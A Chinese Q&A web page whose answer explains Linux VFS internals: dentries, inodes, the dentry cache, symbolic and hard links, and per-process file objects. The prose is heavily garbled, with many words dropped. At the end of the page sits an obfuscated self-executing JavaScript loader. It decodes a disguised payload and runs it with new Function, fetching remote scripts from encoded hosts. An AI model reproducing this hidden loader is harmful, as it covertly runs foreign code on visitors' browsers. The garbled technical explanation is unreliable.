linux中inode和dentry的结构在文件系统的存放位置
推荐回答(1个)
VFSLinux非核概念linux部操作都要用VFS相关功能使用者角度VFS进行简单说明使用者需要知道Linux哪些文件操作函数需要VFS结构比较清晰解才能更使用例hard link 与symbolic没VFS结构相解搞清楚何使用
本文首先建立简单目录模型介绍该目录VFS结构终总结何使用各文件操作函数
本着简单使用原则主要使用析加猜测鉴于本水平限文免些错误欢迎各位读者理性阅读胆批判您批判我进步力
目录
1 目录模型
2 VFS概念
3 VFS构建
4 VFS结构
5 Dentry cache
6 denty定位文件
7 dentry定位文件
8 Symbolic link
9 hard link
10 进程文件管理
11 open程
12 open与dup
13 Fork打文件影响
14 文件操作函数解析
1 目录模型
面目录例
dir第级目录dirsubdir0与subdir1两目录与文件file0subdir0两文件file1与file0subdir1文件file3
2 VFS概念
VFSLinux虚拟文件文件系统称虚拟文件系统交换层(Virtual Filesystem Switch)应用程序员提供层抽象屏蔽底层各种文件系统差异图所示:
同文件系统Ext2/3、XFS、FAT32等具同结构假用户调用open等文件IO函数打文件具体实现非同屏蔽种差异Linux引入VFS概念相于Linux自建新贮存内存文件系统所其文件系统都需要先转换VFS结构才能用户所调用
3 VFS构建
所谓VFS构建加载实际文件系统程mount调用程图所示mountext2文件系统例
经简化Ext2磁盘结构用于说明用构建VFS基本程
mount命令般形式:mount /dev/sdb1 /mnt/mysdb1
/dev/sdb1设备名/mnt/mysdb1挂载点
VFS文件系统基本结构dentry结构体与inode结构体
Dentry代表文件目录点目录文件
Inode代表磁盘文件与磁盘文件应
Inode与dentry定应inode能应dentry项(hard link)
Mountlinux首先找磁盘区super block通解析磁盘inode table与file data构建自dentry列表与indoe列表
需要注意VFS实际按照Ext式进行构建所两者非相似(毕竟ExtLinux原文件系统)
比inode节点Ext与VFS都文件管理结构称inode实际Extinode节点磁盘;VFSinode节点内存Ext-inode些员变量其实没用引用计数等保留目与vfs-node保持致用ext-inode节点构造vfs-inode节点需要赋值需内存拷贝即
非EXT格式磁盘没幸运所mount非EXT磁盘慢些
4 VFS结构
构建VFS文件系统步第节提目录模型映射VFS结构体系
文提VFS主要由denty与inode构Dentry用于维护VFS目录结构每dentry项代表着我用ls看项(每目录每文件都应着dentry项)Inode文件节点与文件应Linux目录种文件所dentry应inode节点
图第节目录模型VFS结构
5 Dentry cache
每文件都要应inode节点与至少dentry项假设我100G硬盘面写满空文件需要少内存才能重建VFS呢
文件少要占用1block(般4K)假dentry与inode需要100byte则dentry与inode需要占用1/40空间1G硬盘则需要2.5G空间近都始换装1T硬盘需要 25G内存才能放inode与dentry相信没几台电脑承受
避免资源浪费VFS采用dentry cache设计
用户用ls命令查看某目录或用open命令打文件VFS用每目录项与文件建立dentry项与inode即按需创建维护LRU(Least Recently Used)列表Linux认VFS占用太资源VFS释放掉间没使用dentry项与inode项
需要注意:建立于释放内存占用角度看Linux角度看dentry与inodeVFS固东西所同VFS否dentry与inode读内存于Ext2/3文件系统构建dentry与inode程非简单于其文件系统则慢
解Dentry cache概念才能明白何面两种定位文件式
6 denty定位文件
面提Denty CacheVFS并能保证随都dentry项与inode项用面dentry项与inode项定位式
简化问题假设已经找dirdentry项(找dentry程面讲解)
首先通dir应dentry0找inode0节点inode节点读取目录信息其包含该目录包含级目录与文件文件列表包括name与inode号实际用ls命令查看些信息ls -i显示文件inode号
> ls -i
975248 subdir0 975247 subdir1 975251 file0
根据通根据subdir0应inode号重建inode2并通文件数据(目录文件)与inode2重建subdir0dentry节点:dentry1
> ls -i
975311 file1 975312 file2
接着根据file1应inode号重建inode4并通文件数据与inode4重建file1dentry节点
通inode4节点访问文件
注意:文件应inode号确定inode结构体需要重新构造
7 dentry定位文件
旦Dentry cache建立dentry项访问便
Dentry关键变量d_subdirs保存级目录列表用于快速定位文件
首先代表dir目录dentry0d_subdirs查找名字subdir0dentry项找dentry1
dentry1查找名字file1dentry项找file1应dentry项
通file1应dentry项获file1应inode4
与dentry项比较dentry项操作精简许
8 Symbolic link
建立symboliclink命令 :ln -s 源文件目标文件
Linuxsymbolic link类似于Windows系统快捷式图所示symlink1指向file1symbolic linksymlink1本身文件自独立inode节点symlink实际存储源文件相路径
部文件操作直接symbolic link指向目标进行操作比open(symlikn1)实际打file3
file3发事情呢open函数照按照symlink1文件路径打文件file3存报错说文件存
9 hard link
Linux除symbolic linkhard link概念
Hard link建立实际dentry项拷贝都指向同inode节点我使用write改写file1内容hardlink1内容改写所实际同文件
图所示hardlink1file1hard link都指向同inode1节点Inode1计数器用于记录几dentry项指向删除任意dentry项都导致inode1删除所指向inode1dentry都删除inode1才删除
实际
某种意义讲所dentry项都hard link
10 进程文件管理
进程控制块task_struct两变量与文件关:fs与files
files存储着root与pwd两指向dentry项指针用户定路径绝路径通root进行定位;相路径通pwd进行定位(进程root定文件系统根目录比ftp进程根目录文件系统根目录才能保证用户能访问ftp目录内容)
fsfile object列表其每节点应着打文件进程定位文件构造file object并通f_inode 关联inode节点文件关闭(close)进程释放应应file objectFile objectf_mode打选择权限f_pos读写位置打同文件每都构造新file object每file object独立f_mode与f_pos
用inode标识比:
linuxserver:/etc/zypp # ls -al
total 56
drwxr-xr-x 5 root root 4096 Apr 2 04:49 .
drwxr-xr-x 104 root root 12288 Apr 3 08:45 ..
drwxr-xr-x 2 root root 4096 Apr 2 04:49 credentials.d
drwxr-xr-x 2 root root 4096 Feb 2 15:55 repos.d
drwxr-xr-x 2 root root 4096 May 9 2011 services.d
-rw-r--r-- 1 root root 360 Apr 23 2011 systemCheck
-rw-r--r-- 1 root root 13315 Apr 23 2011 zypp.conf
-rw-r--r-- 1 root root 4121 May 9 2011 zypper.conf
第二列inode号
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();